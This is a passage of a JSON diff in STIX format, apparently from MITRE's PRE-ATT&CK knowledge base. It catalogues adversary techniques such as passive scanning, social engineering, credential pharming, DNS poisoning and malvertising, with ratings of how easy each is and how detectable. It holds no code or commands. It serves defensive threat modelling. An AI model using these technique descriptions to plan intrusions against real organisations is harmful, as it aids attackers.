"x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-05T23:14:31.793Z", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1226", + "url": "https://attack.mitre.org/techniques/T1226" + }, + { + "source_name": "LowenthalCh4", + "description": "Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017." + }, + { + "source_name": "KIT-Herring", + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1030", + "x_mitre_detectable_by_common_defenses_explanation": "Generates no network traffic that would enable detection.", + "name": "Conduct passive scanning", + "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easy to do but it requires a vantage point conducive to accessing this data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1253", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1253" + }, + { + "description": "Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.", + "source_name": "SurveyDetectionStrategies" + }, + { + "description": "H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.", + "source_name": "CyberReconPaper" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1056", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "name": "Conduct social engineering", + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1279", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1279" + }, + { + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.", + "source_name": "SEAttackVectors" + }, + { + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.", + "source_name": "BeachSE2003" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1045", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "name": "Conduct social engineering", + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1268", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1268" + }, + { + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.", + "source_name": "SEAttackVectors" + }, + { + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.", + "source_name": "BeachSE2003" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1026", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "name": "Conduct social engineering", + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1249", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1249" + }, + { + "description": "Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.", + "source_name": "SEAttackVectors" + }, + { + "description": "Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.", + "source_name": "BeachSE2003" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1153", + "x_mitre_detectable_by_common_defenses_explanation": "Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.", + "name": "Conduct social engineering or HUMINT operation", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1376", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1376" + }, + { + "description": "Chris Johnston. (2015, February 5). Company loses $17m in email scam. Retrieved March 9, 2017.", + "source_name": "17millionScam" + }, + { + "description": "Robert Hackett. (2015, August 10). Fraudsters duped this company into handing over $40 million. Retrieved March 9, 2017.", + "source_name": "UbiquityEmailScam" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1160", + "x_mitre_detectable_by_common_defenses_explanation": "Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.", + "name": "Confirmation of launched compromise achieved", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1383", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1383" + }, + { + "description": "carlota. (2014, November 12). Stages of a Malware Infection. Retrieved April 1, 2017.", + "source_name": "FireEye Malware Stages" + }, + { + "description": "Nart Villeneuve and James Bennett. (2012). Detecting APT Activity with Network Traffic Analysis. Retrieved March 9, 2017.", + "source_name": "APTNetworkTrafficAnalysis" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1116", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.", + "name": "Create backup infrastructure", + "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1339", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1339" + }, + { + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.", + "source_name": "LUCKYCAT2012" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1122", + "x_mitre_detectable_by_common_defenses_explanation": "It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.", + "name": "Create custom payloads", + "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Specialized tools exist for research, development, and testing of virus/malware payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1345", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1345" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1009", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Create implementation plan", + "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1232", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1232" + }, + { + "description": "Thomas B Inglis. (1946, December 31). COLLECTION PLAN TO IMPLEMENT NATIONAL INTELLIGENCE REQUIREMENTS FOR CHINA. Retrieved March 2, 2017.", + "source_name": "ChinaCollectionPlan" + }, + { + "description": "Wikipedia contributors. (2016, November 20). Order of battle. Retrieved March 2, 2017.", + "source_name": "OrderOfBattle" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1132", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "name": "Create infected removable media", + "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1355", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1355" + }, + { + "description": "Security Research labs. (n.d.). BadUSB Exposure. Retrieved March 9, 2017.", + "source_name": "BadUSB" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1008", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Create strategic plan", + "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1231", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1231" + }, + { + "description": "KPMG. (2016, October 19). China\u2019s 13th Five-Year Plan signals a potential new era of Sino-foreign cooperation, finds KPMG report. Retrieved March 2, 2017.", + "source_name": "KPMGChina5Year" + }, + { + "description": "Wikipedia contributors. (2017, February 8). Five-year plans of China. Retrieved March 2, 2017.", + "source_name": "China5YearPlans" + }, + { + "description": "People's Republic of China. (2015, November). China's 13th Five-Year Plan. Retrieved May 19, 2017.", + "source_name": "ChinaUN" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1151", + "x_mitre_detectable_by_common_defenses_explanation": "Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.", + "name": "Credential pharming", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1374", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1374" + }, + { + "description": "Ellen Messmer. (2008, January 22). First case of \"drive-by pharming\" identified in the wild. Retrieved March 2, 2017.", + "source_name": "DriveByPharming" + }, + { + "description": "Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.", + "source_name": "GoogleDrive Phishing" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1159", + "x_mitre_detectable_by_common_defenses_explanation": "Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.", + "name": "DNS poisoning", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detectable_by_common_defenses": "Partial", + "external_references": [ + { + "external_id": "T1382", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1382" + }, + { + "description": "Cindy Liu. (2016, March 30). Google DNS Poisoning Follows Brief Unblocking. Retrieved March 31, 2017.", + "source_name": "Google DNS Poisoning" + }, + { + "description": "John Leyden. (2014, January 21). DNS poisoning slams web traffic from millions in China into the wrong hole. Retrieved March 31, 2017.", + "source_name": "DNS Poisoning China" + }, + { + "description": "Paul Oliveria. (2008, January 11). Targeted Attack in Mexico: DNS Poisoning via Modems. Retrieved April 1, 2017.", + "source_name": "Mexico Modem DNS Poison" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "x_mitre_old_attack_id": "PRE-T1101", + "x_mitre_detectable_by_common_defenses_explanation": "There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.", + "name": "DNSCalc", + "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--7823039f-e2d5-4997-853c-ec983631206b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1324", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1324" + }, + { + "description": "Adam Meyers. (2013, March 29). Whois Numbered Panda. Retrieved March 6, 2017.", + "source_name": "CrowdstrikeNumberedPanda" + }, + { + "description": "Ned Moran, Mike Oppenheim. (2014, September 3). Darwin\u2019s Favorite APT Group. Retrieved March 6, 2017.", + "source_name": "FireEyeDarwinsAPTGroup" + }, + { + "description": "nex. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.", + "source_name": "Rapid7G20Espionage" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1097", + "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.", + "name": "Data Hiding", + "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1320", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1320" + }, + { + "description": "Christian J. Dietrich, Christian Rossow, Felix C. Freiling, Herbert Bos, Maarten van Steen, Norbert Pohlmann. (2011). On Botnets that use DNS for Command and Control. Retrieved March 6, 2017.", + "source_name": "BotnetsDNSC2" + }, + { + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.", + "source_name": "HAMMERTOSS2015" + }, + { + "description": "Alexey Shulmi and Sergey Yunakovsky. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved May 9, 2017.", + "source_name": "DNS-Tunnel" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1157", + "x_mitre_detectable_by_common_defenses_explanation": "Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.", + "name": "Deploy exploit using advertising", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1380", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1380" + }, + { + "description": "Michael Mimoso. (2015, March 30). AD NETWORKS RIPE FOR ABUSE VIA MALVERTISING. Retrieved March 9, 2017.", + "source_name": "TPMalvertising" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1007", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Derive intelligence requirements", + "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)", + "kill_chain_phases": [ + { + "phase_name": "priority-definition-planning", + "kill_chain_name": "mitre-pre-attack" + } + ], + "id": "attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-05T23:14:31.804Z", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1230", + "url": "https://attack.mitre.org/techniques/T1230" + }, + { + "source_name": "LowenthalCh4", + "description": "Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017." + }, + { + "source_name": "Heffter", + "description": "Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1061", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.", + "name": "Determine 3rd party infrastructure services", + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + 